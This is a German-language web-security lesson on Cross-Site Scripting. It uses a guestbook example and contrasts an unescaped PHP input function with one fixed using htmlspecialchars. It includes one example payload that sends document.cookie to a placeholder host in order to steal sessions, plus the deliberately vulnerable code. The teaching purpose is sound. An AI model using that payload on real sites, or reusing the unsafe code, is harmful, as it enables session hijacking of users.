====== LU10a - Cross-Site Scripting ====== Internal reference: lu/10-1.md \\ ===== Einleitung ===== Cross-Site Scripting (kurz XSS) ist eine Form der Cyberattacke, wo Script-Code von außen in eine Webseite injiziert wird. Ziel ist es eine aktive Session (Sitzung) zu stehlen. Bei XSS wird Script-Code von außen in die aktuelle Webseite injiziert. Damit wird eine Autorisierungsbarriere überschritten, denn Sie können so einer Website vorgaukeln, der eingeschleuste Code sei Ihr eigener. \\ ===== Beispiel ===== Ein kleines Beispiel soll dies untermauern. Stellen Sie sich eine simple Gästebuch-Anwendung vor, wie Sie sie in diesem Buch öfters finden. Hier zunächst eine Gästebuch-Datenbank (mit MySQL). {{:modul:m183:learningunits:lu10:xss_05.png?400|Abb-01: Eine ungewöhnliche Input-Maske für Gästebuch-Einträge.}} Was passiert aber, wenn Sie HTML-Code eingeben? Dieser Code wird dann ungefiltert ausgegeben. Sie können das Layout des Gästebuches verschandeln, beispielsweise durch das Einbinden anstößiger Grafiken. Abb-02 und Abb-03 zeigt eine harmlosere Variante, nämlich die Verwendung von ''

'' und ''
'' als HTML-Tags im Gästebuch-Eintrag. {{:modul:m183:learningunits:lu10:xss_03a.png?400|Abb-02: Verwendung von HTML-Tags.}} {{:modul:m183:learningunits:lu10:xss_03b.png?400|Abb-03: Ausgabe mit HTML-Tags.}} Das allein ist ja schon schlimm genug, doch noch übler wird es, wenn statt HTML-Code JavaScript-Code eingeschleust wird. Da gibt es verschiedene Stufen der Grausamkeiten * Öffnen von modalen Warnfenstern mit ''window.alert()'' * unendliches Neuladen der Seite mit ''window.reload()'' * die Umleitung des Benutzers mit ''location.href = "http://andererserver.xy"'' * das Auslesen aller Cookies, beispielsweise mit ''location.href = "http://andererserver.xy/cookieklau.php?c=" + escape(document.cookie)'' Aus guten Gründen wird dies nicht weiter ausgeführt, aber Abbildung 04 und 05 zeigen die Auswirkung der ersten Angriffsmethode. Ferner überlegen Sie, was alles in Cookies stehen könnte: die aktuelle Session-ID beispielsweise. Damit ist es sehr einfach möglich, die Session eines Opfers zu übernehmen (das nennt man dann ''Session Hijacking'') {{:modul:m183:learningunits:lu10:xss_04.png?400|Abb-04: Mit mangelhaften Outputescaping und vor allem bei älteren Browsern kann ein Javascript als Eintrag ausgeführt werden.}} {{:modul:m183:learningunits:lu10:xss_03.png?400|Abb-05: Nach dem Speichern und beim Laden der Seite macht sich das JavaScript bemerkbar.}} \\ ===== XSS-Auditor ===== Die Gefahr für ''XSS'' ist primär bei alten Browser gegeben. Die neuen Browser (sicher bei Safari, Chrome, Firefox) weist ein sog. ''XSS-Auditor'' unterbindet die Ausführung von JavaScripts, wenn er eine XSS-Attacke vermutet (s. Abb-06.) {{:modul:m183:learningunits:lu10:xss_02.png?400|Abb-06: Der XSS-Auditor unterbindet die Ausführung des JavaScripts.}} \\ ===== Gegenmassnahmen ===== Wirkungsvoll gegen XSS ist * gründliche Input-Validierung * Output-Escaping (in PHP mit der Funktion ''htmlspecialchars'') \\ ===== Output-Escaping ===== Ziel des Output-Escaping ist, dass im Webbrowser die Benutzereingaben niemals als Teil der Seite (d.h. mit deren HTML-Code) ausgeführt werden. Stattdessen werden die Benutzereingaben sozusagen entschärft und wie gewöhnliche Texte als ungefährlicher statischer Inhalt angezeigt. In PHP wird h \\ ===== Beispiel ===== Im folgenden Beispiel wird die eigene Funktion ''leseFeld'' mit der PHP-Funktion ''htmlspecialchars'' angepasst, damit sämtliche Ausgaben auf dem Browser *entschärft * (also ausführbaren HTML resp. JavaScript-Code durch den Browser nicht ausgeführt) werden. **Code-01: ohne Escaping -> unsicherer PHP-Code** ... /** * Liest ein einfaches Textfeld aus dem Formular aus * @param $feld - Datenfeld, welches ausgelesen wird * @return string - ausgelesenes Datenfeld als String */ function leseFeld($feld) { if (!isset($_POST[$feld])) { return LEER_STRING; } if (!is_string($_POST[$feld])) { return LEER_STRING; } return $_POST[$feld]; } ... **Code-02: mit Escaping -> sicherer PHP-Code** ... /** * Liest ein einfaches Textfeld aus dem Formular aus * @param $feld - Datenfeld, welches ausgelesen wird * @return string - ausgelesenes Datenfeld als String */ function leseFeld($feld) { if (!isset($_POST[$feld])) { return LEER_STRING; } if (!is_string($_POST[$feld])) { return LEER_STRING; } return htmlspecialchars($_POST[$feld]); } ... ---- [[https://creativecommons.org/licenses/by-nc-sa/4.0/|{{https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png}}]] Daniel Garavaldi